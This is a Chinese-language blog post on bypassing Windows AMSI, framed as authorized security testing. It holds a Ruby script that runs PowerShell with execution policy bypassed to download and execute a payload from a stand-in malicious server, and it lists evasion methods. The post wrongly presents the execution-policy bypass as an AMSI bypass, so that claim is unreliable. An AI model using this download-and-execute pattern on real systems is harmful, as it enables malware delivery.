0x01 防御体系下的突破口
AMSI,全称为Antimalware Scan Interface,是微软在Windows 10中引入的一项技术,旨在通过与各种防恶意软件解决方案的集成来增强系统安全性。它为脚本语言提供了一种统一的扫描接口,能够在脚本执行时被拦截,并由防病毒软件进行扫描。因此,绕过AMSI成为攻击者在进入内网后一个重要的目标。本文仅供授权安全测试使用,旨在帮助安全研究人员理解并提升安全防御能力。

AMSI的工作机制是通过编程接口拦截脚本代码,在代码执行之前将其传递给注册的安全软件进行扫描。这个机制对于PowerShell尤其重要,因为PowerShell是执行系统管理任务的强力工具,同时也是攻击者青睐的利器。要绕过AMSI,攻击者需要对其工作原理有深入了解,并找到合适的漏洞或弱点。
0x02 实战环境搭建
为了研究AMSI绕过方法,我们需要一个实验环境。这里我们以Windows 10为目标系统,安装PowerShell以及对应版本的Ruby环境,确保能够模拟攻击场景。
1. 准备工作
- 安装Windows 10系统,确保系统更新到最新版本。
- 安装Ruby环境(建议使用版本2.5及以上),通过RubyGems管理相关库。
- 确保PowerShell版本在5.0及以上,因为AMSI在此版本得到加强。
2. 配置实验环境
搭建实验环境的过程中,需要禁用或卸载任何会干扰实验的安全软件,这样可以确保我们对AMSI绕过方法进行充分测试。
<pre><code class="language-shell"># 使用管理员权限运行以下命令 Set-ExecutionPolicy Unrestricted</code></pre>
这允许我们在PowerShell中执行任何脚本,避免策略限制对实验的干扰。
0x03 Payload构造的艺术
要绕过AMSI,攻击者通常会采用多种技巧,包括使用混淆技术、反射加载和内存操作,这些技术可以有效地避开AMSI的检测。下面我们将展示一种使用Ruby和Shell结合的绕过方法。
脚本代码示例
攻击者在构造Payload时,通常需要考虑如何避免被AMSI扫描。以下代码展示了一种有效的绕过技术:
<pre><code class="language-ruby"># Ruby脚本,加载并执行PowerShell命令 require 'open3'
ps_command = %Q{ IEX (New-Object System.Net.WebClient).DownloadString('http://malicious-server/payload.ps1') }

使用Shell命令进行执行
shell_command = "powershell -ExecutionPolicy Bypass -NoProfile -Command \"#{ps_command}\""
Open3.popen3(shell_command) do |stdin, stdout, stderr, wait_thr|
输出结果到控制台
puts stdout.read end</code></pre>
在这段代码中,我们使用Ruby的Open3库来执行PowerShell命令,巧妙地绕过了PowerShell的执行策略限制。这是绕过AMSI的一种常见手法,结合混淆技术,能够有效地避开检测。
0x04 绕过AMSI的策略
在攻击过程中,绕过AMSI最常见的方法之一就是利用漏洞或使用未经检测的技术来加载和执行恶意代码。以下是几种常见的策略:
1. 代码混淆

通过对PowerShell脚本进行混淆处理,可以有效地躲避AMSI的检测。攻击者会采用字符替换、反序等方法,让脚本在没有被解码之前无法被识别。
2. 内存操作
直接在内存中进行反射加载是另一种绕过AMSI的有效手段。通过在内存中重写AMSI的相关函数入口,攻击者可以避免代码在执行前被拦截。
3. 使用第三方框架
许多攻击工具和框架,如Cobalt Strike和Metasploit,通过自定义的加载器和注入器,能够有效地规避AMSI的扫描。
0x05 检测与防御
虽然AMSI绕过技术层出不穷,防御方仍然可以采取多种措施来增强检测能力:
1. 加强行为分析
通过监控脚本执行行为,安全软件能够识别出异常的加载和执行模式。这种行为分析通常可以捕获混淆后的恶意代码。
2. 更新签名库
及时更新安全软件的签名库,对抗已知的绕过技术,能够有效降低攻击成功率。
3. 使用多层防御
结合网络层、系统层、应用层的防御策略,全方位监测和拦截潜在的攻击,可以进一步增强安全保护。
0x06 个人经验分享
在长期的安全研究和红队攻击中,我发现AMSI虽然是一项重要的安全技术,但其绕过方法并非难以实现。关键在于不断更新安全策略,加强检测对抗能力。对抗者需要不断钻研最新的攻击技术,而防御者则需要更新机制以应对新型威胁。
通过本文,希望读者能够对AMSI绕过技术有更深刻的理解,并在合法授权的场景中加以实践,提升自己的安全研究能力。在攻防对抗中,我们始终需要保持敏锐和创新,以应对不断变化的安全挑战。只有不断学习和实践,才能在这个领域中立于不败之地。